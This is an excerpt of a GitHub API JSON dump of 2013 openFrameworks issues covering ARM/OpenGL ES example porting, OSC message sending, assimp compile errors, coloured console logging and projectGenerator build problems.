A master list/issue of the examples excluded from 0.8.0 that need some work to make compatible with the ARM platform/OpenGL ES 2. I figured a master list would be nice to have and something to reference if sub-issues arise.\r\n\r\n- [ ] addons/3DModelLoaderExample\r\n- [ ] addons/allAddonsExample\r\n- [ ] addons/assimpExample\r\n- [ ] addons/kinectExample\r\n- [ ] addons/vectorGraphicsExample \r\n- [ ] gl/glInfoExample\r\n- [ ] gl/alphaMaskingShaderExample\r\n- [ ] gl/billboardExample\r\n- [ ] gl/billboardRotationExample\r\n- [ ] gl/multiLightExample\r\n- [ ] gl/multiTextureShaderExample\r\n- [ ] gl/pointsAsTextures\r\n- [ ] gl/gpuParticleSystemExample\r\n- [ ] gl/vboMeshDrawInstancedExample \r\n- [ ] 3d/modelNoiseExample\r\n\r\nI have some of these started so I think 0.8.1 is a reasonable goal"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2438","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2438/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2438/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2438/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2438","id":17892610,"number":2438,"title":"Feature allow OSC message sends without bundle wrapper","user":{"login":"pizthewiz","id":648369,"avatar_url":"https://2.gravatar.com/avatar/9005281d142d2e0b17b966c51f5f6818?d=https%3A%2F%2Fidenticons.github.com%2Fffb1e9421b8787aaa8d5bf1f5325e676.png","gravatar_id":"9005281d142d2e0b17b966c51f5f6818","url":"https://api.github.com/users/pizthewiz","html_url":"https://github.com/pizthewiz","followers_url":"https://api.github.com/users/pizthewiz/followers","following_url":"https://api.github.com/users/pizthewiz/following{/other_user}","gists_url":"https://api.github.com/users/pizthewiz/gists{/gist_id}","starred_url":"https://api.github.com/users/pizthewiz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pizthewiz/subscriptions","organizations_url":"https://api.github.com/users/pizthewiz/orgs","repos_url":"https://api.github.com/users/pizthewiz/repos","events_url":"https://api.github.com/users/pizthewiz/events{/privacy}","received_events_url":"https://api.github.com/users/pizthewiz/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-08-10T01:42:19Z","updated_at":"2013-08-18T19:28:56Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2438","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2438.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2438.patch"},"body":"This adds an additional argument with a default value consistent with the previous behavior to the normal ```ofxOscSender::sendMessage``` to allow one to skip the (likely superfluous) bundle wrapper:\r\n```C++\r\n void sendMessage( ofxOscMessage& message, bool wrapInBundle = true );\r\n```\r\nFixes #1804."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2435","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2435/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2435/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2435/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2435","id":17845091,"number":2435,"title":"alphaMaskingShaderExample for armv6 not working","user":{"login":"jvcleave","id":150037,"avatar_url":"https://1.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https%3A%2F%2Fidenticons.github.com%2F5ed96817efb118a36c00303b90e4b003.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following{/other_user}","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-08-09T03:07:35Z","updated_at":"2013-08-09T03:12:55Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"main.cpp needs to be modified to enable shaders to be loaded\r\nsimilar to \r\nhttps://github.com/openframeworks/openFrameworks/blob/develop/examples/gl/shaderExample/src/main.cpp\r\n\r\nThis enables the shader to load but the shaders in shaders_gles are no longer working. I believe these are derived from what I modified to work for the workshop - those still work with the former GLES2Renderer \r\n\r\nhttps://github.com/andreasmuller/RaspberryPiWorkshop/tree/master/ShaderExample_AlphaMasking/bin/data\r\n\r\n@tgfrerer - any clues?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2432","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2432/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2432/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2432/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2432","id":17821294,"number":2432,"title":"ofxAssimpModelLoader compile error for armv6","user":{"login":"jvcleave","id":150037,"avatar_url":"https://1.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https%3A%2F%2Fidenticons.github.com%2F5ed96817efb118a36c00303b90e4b003.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following{/other_user}","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://1.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":7,"created_at":"2013-08-08T18:10:23Z","updated_at":"2013-08-09T03:49:34Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This line \r\nhttps://github.com/openframeworks/openFrameworks/blob/develop/addons/ofxAssimpModelLoader/addon_config.mk#L66\r\nis causing anything using ofxAssimpModelLoader to have the compile error\r\n\r\n`../../../addons/ofxAssimpModelLoader/src/ofxAssimpMeshHelper.h:9:20: fatal error: assimp.h: No such file or directory`\r\n\r\nCommenting out the line enables examples like `addons/assimpExample` and `3d/modelNoiseExample` to compile however they are both segfaulting on the RPi\r\n\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2424","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2424/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2424/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2424/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2424","id":17791689,"number":2424,"title":"Feature Request: verbose¬ice&warning&error&fatalError ---addColor..","user":{"login":"yty","id":841770,"avatar_url":"https://2.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2013-08-08T07:08:07Z","updated_at":"2013-08-20T09:00:45Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I think it should be better to differentiate log files.\r\nHow do you think about it?\r\n\r\nverbose->blur\r\nnotice->green \r\nwarning->Orange\r\nerror ->darkred \r\nfatalError ->red \r\n\r\n```cpp\r\nstring ofGetLogLevelName(ofLogLevel level){\r\n\tHANDLE hCout = GetStdHandle(STD_OUTPUT_HANDLE); \r\n\r\n\tswitch(level){\r\n\t\tcase OF_LOG_VERBOSE:\r\n\t\t\tSetConsoleTextAttribute(hCout,FOREGROUND_BLUE );\r\n\t\t\treturn \"verbose\";\r\n\t\t\tbreak;\r\n\t\tcase OF_LOG_NOTICE:\r\n\t\t\tSetConsoleTextAttribute(hCout,FOREGROUND_GREEN );\r\n\t\t\treturn \"notice\";\r\n\t\t\tbreak;\r\n\t\tcase OF_LOG_WARNING:\r\n\t\t\tSetConsoleTextAttribute(hCout,FOREGROUND_RED|FOREGROUND_GREEN );\r\n\t\t\treturn \"warning\";\r\n\t\t\tbreak;\r\n\t\tcase OF_LOG_ERROR:\r\n\t\t\tSetConsoleTextAttribute(hCout,FOREGROUND_RED );\r\n\t\t\treturn \"error\";\r\n\t\t\tbreak;\r\n\t\tcase OF_LOG_FATAL_ERROR:\r\n\t\t\tSetConsoleTextAttribute(hCout,FOREGROUND_RED|FOREGROUND_INTENSITY );\r\n\t\t\treturn \"fatal error\";\r\n\t\t\tbreak;\r\n\t\tcase OF_LOG_SILENT:\r\n\t\t\treturn \"silent\";\r\n\t\t\tbreak;\r\n\t\tdefault:\r\n\t\t\treturn \"\";\r\n\t}\r\n}\r\n\r\nvoid ofConsoleLoggerChannel::log(ofLogLevel level, const string & module, const string & message){\r\n\t// print to cerr for OF_LOG_ERROR and OF_LOG_FATAL_ERROR, everything else to cout \r\n\tostream& out = level < OF_LOG_ERROR ? cout : cerr;\r\n\tout << \"[\";\r\n\t// only print the module name if it's not \"OF\"\r\n\tif(module != \"OF\") {\r\n\t\tout << module << \":\";\r\n\t}\r\n\tHANDLE hCout = GetStdHandle(STD_OUTPUT_HANDLE); \r\n\r\n\tout << ofGetLogLevelName(level);\r\n\tSetConsoleTextAttribute(hCout,FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE );\r\n\tout<< \"] \"<< message << endl;\r\n}\t"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2422","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2422/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2422/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2422/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2422","id":17734450,"number":2422,"title":"Remove functions deprecated in 0.8","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://1.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/12","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/12/labels","id":264335,"number":12,"title":"0.10.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://1.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":1,"closed_issues":1,"state":"open","created_at":"2013-02-11T12:18:09Z","updated_at":"2013-08-07T08:01:40Z","due_on":null},"comments":0,"created_at":"2013-08-07T07:58:47Z","updated_at":"2013-08-07T07:58:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Some functions/classes/etc have been deprecated in 0.8. It's time to remove them at some point. I have tentatively scheduled this point to be 0.10 (i.e. 2 releases after deprecation). \r\n\r\n```\r\n/ ofBox, ofCone, ofSphere deprecated in favour of ofDrawBox and ofDrawSphere\r\n/ ofxiPhoneSetOrientation and ofxiPhoneGetOrientation -> ofSet/GetOrientation\r\n/ ofxOpenALSoundPlayer\r\n/ ofSetupScreenPerspective(), ofSetupScreenOrtho() don't accept orientation and vflip parameters anymore, use ofSetOrientation() to specify them\r\n/ ofPath::set/getArcResolution -> set/getCircleResolution\r\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2420","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2420/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2420/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2420/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2420","id":17684283,"number":2420,"title":"cross platform documents directory","user":{"login":"jonbro","id":1597,"avatar_url":"https://0.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https%3A%2F%2Fidenticons.github.com%2F87ec2f451208df97228105657edb717f.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","url":"https://api.github.com/users/jonbro","html_url":"https://github.com/jonbro","followers_url":"https://api.github.com/users/jonbro/followers","following_url":"https://api.github.com/users/jonbro/following{/other_user}","gists_url":"https://api.github.com/users/jonbro/gists{/gist_id}","starred_url":"https://api.github.com/users/jonbro/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jonbro/subscriptions","organizations_url":"https://api.github.com/users/jonbro/orgs","repos_url":"https://api.github.com/users/jonbro/repos","events_url":"https://api.github.com/users/jonbro/events{/privacy}","received_events_url":"https://api.github.com/users/jonbro/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2013-08-06T11:08:35Z","updated_at":"2013-08-08T09:31:49Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently OF supports ofxiPhoneGetDocumentsDirectory which returns the correct documents directory on iOS. However, there is no way to get to Application Support or My Documents without doing platform specific code. This is necessary for deploying either on steam or mac app store.\r\n\r\nThe code for getting to application support on osx is the same as the iOS code. On windows, it appears that this code works: http://stackoverflow.com/questions/2414828/get-path-to-my-documents (although I haven't tried it)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2418","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2418/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2418/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2418/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2418","id":17666643,"number":2418,"title":" Android keyPressed for volume buttons always sets key = 0","user":{"login":"nneonneo","id":75449,"avatar_url":"https://2.gravatar.com/avatar/5ca341b160687d99b1317859f91054ee?d=https%3A%2F%2Fidenticons.github.com%2F21354e8024a4260d693a0c258fb366d8.png","gravatar_id":"5ca341b160687d99b1317859f91054ee","url":"https://api.github.com/users/nneonneo","html_url":"https://github.com/nneonneo","followers_url":"https://api.github.com/users/nneonneo/followers","following_url":"https://api.github.com/users/nneonneo/following{/other_user}","gists_url":"https://api.github.com/users/nneonneo/gists{/gist_id}","starred_url":"https://api.github.com/users/nneonneo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nneonneo/subscriptions","organizations_url":"https://api.github.com/users/nneonneo/orgs","repos_url":"https://api.github.com/users/nneonneo/repos","events_url":"https://api.github.com/users/nneonneo/events{/privacy}","received_events_url":"https://api.github.com/users/nneonneo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2013-08-06T00:04:12Z","updated_at":"2013-08-06T07:56:57Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When a keyPressed event is received for pressing a menu button, the key passed in is always 0. This is because event.getUnicodeChar() returns 0 for keys that are not used to type characters, which includes most of the physical keys on a typical touchscreen-based Android phone.\r\n\r\nOne solution would be to have the Android wrapper define some \"special\" keys (negative numbers to avoid conflicting with Unicode codepoints? numbers with a high-ish bit, like bit 28, set?), and pass those in when the key is special (volume, home, menu, etc)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2417","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2417/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2417/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2417/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2417","id":17629859,"number":2417,"title":"threaded applications hang on exit","user":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2013-08-05T11:17:16Z","updated_at":"2013-08-06T07:08:20Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"the waitThread call on the destructor makes applications with more complex threading (threads waiting on conditions...) hang on exit for 10 seconds.\r\n\r\nIf i don't need to free any resources is totally safe to close the application without stopping the threads so having this in the destructor is really annoying.\r\n\r\nif someone has any complex destruction where they need to close any resources or for other some reason wait for the thread it should be done by the application not obligatorily by the thread destructor (that's how poco threads or stl threads work for example)\r\n\r\nat least there should be a way to disable it."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2412","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2412/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2412/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2412/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2412","id":17579294,"number":2412,"title":"devApps/projectGenerator doesn't add .mm files in libs folders","user":{"login":"danomatika","id":480637,"avatar_url":"https://2.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https%3A%2F%2Fidenticons.github.com%2Fc08a17ef2f16970cd18f487915737897.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following{/other_user}","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://1.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":9,"created_at":"2013-08-02T20:19:38Z","updated_at":"2013-08-05T11:34:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm updating ofxMidi and have an iOS library, PGMidi, in `libs/pgmidi`. The projectGenerator doesn't add the .mm files to my project so the app can't build.\r\n\r\nI have a similar setup with RtMidi: `libs/rtmidi`. The .cpp files are added correctly when generating an osx xcode project.\r\n\r\nNeither library have the headers and sources in \"include\" or \"src\" subfolders."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2411","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2411/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2411/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2411/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2411","id":17578556,"number":2411,"title":"addons_config.mk ADDON_FRAMEWORKS dosen't seem to work","user":{"login":"danomatika","id":480637,"avatar_url":"https://2.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https%3A%2F%2Fidenticons.github.com%2Fc08a17ef2f16970cd18f487915737897.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following{/other_user}","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":{"login":"bakercp","id":300484,"avatar_url":"https://2.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https%3A%2F%2Fidenticons.github.com%2F4aaaf6f29fe96098740aa5f98b6c8b12.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://1.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":13,"created_at":"2013-08-02T19:59:16Z","updated_at":"2013-08-04T04:54:30Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm settings ADDON_FRAMEWORKS for ofxMidi on ios:\r\n\r\n ios:\r\n # osx/iOS only, any framework that should be included in the project\r\n ADDON_FRAMEWORKS = CoreMIDI.framework\r\n\r\nBut this dosen't seem to have an effect. I've tried both 